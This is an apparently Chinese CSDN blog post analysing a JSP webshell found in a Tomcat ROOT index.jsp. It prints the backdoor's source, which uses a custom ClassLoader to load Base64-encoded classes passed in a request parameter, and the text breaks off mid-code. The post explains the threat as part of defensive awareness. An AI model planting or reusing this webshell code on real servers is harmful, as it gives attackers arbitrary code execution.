完了完了我好像中奖了！（木马病毒）

最新推荐文章于 2023-09-09 17:58:29 发布

Java盘鱼宴

最新推荐文章于 2023-09-09 17:58:29 发布

阅读量315

点赞数

分类专栏： Java技术文文章标签： java 数据库编程语言代码规范后端

本文链接：https://blog.csdn.net/xcw19971018/article/details/119217261

版权

本文通过一个实例展示了如何模拟Webshell攻击，从创建木马文件到利用Base64编码执行命令，同时强调了安全防范的重要性。阿里云给出了针对Webshell的告警，并提醒用户采取措施，如限制上传权限、定期更换密码和保持程序更新，以保护网站和服务器安全。

摘要由CSDN通过智能技术生成

描述

最近一个老同学跟我说他部署在阿里云上的系统，在tomcat的目录下出现了一个index.jsp文件，内容大致如下：

我一看发现这不就是一个木马后门文件吗，只需要通过参数ejiaogl传入一个经过base64编码的Class文件，这样就可以解码然后被类加载器加载，而我们知道类被加载的时候是可以执行static代码块的，而这个代码块可以任由攻击者来指定要执行的代码，是非常危险的，为了更加形象我特意做了一个模拟攻击。

模拟攻击

准备木马文件

准备一个Tomcat，直接启动即可，默认访问的是ROOT目录下的index.jsp，准备好以上的木马后门文件直接替换，文件如下：

<%!
//自定义了一个类加载器
class U extends ClassLoader{
    U(ClassLoader c){
        super(c);
    }

    public Class g(byte[] b) {
        return this.defineClass(b, 0, b.length);
    }
}

public byte[] base64Decoder(String str) throws Exception {
    try {
        Class clazz = Class.forName("sun.misc.BASE64Decoder");
        return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    } catch (Exception e) {
        //这里还做了一个base64的兼容处理
        Class clazz = Class.forName("java.util.Base64");
        Object decoder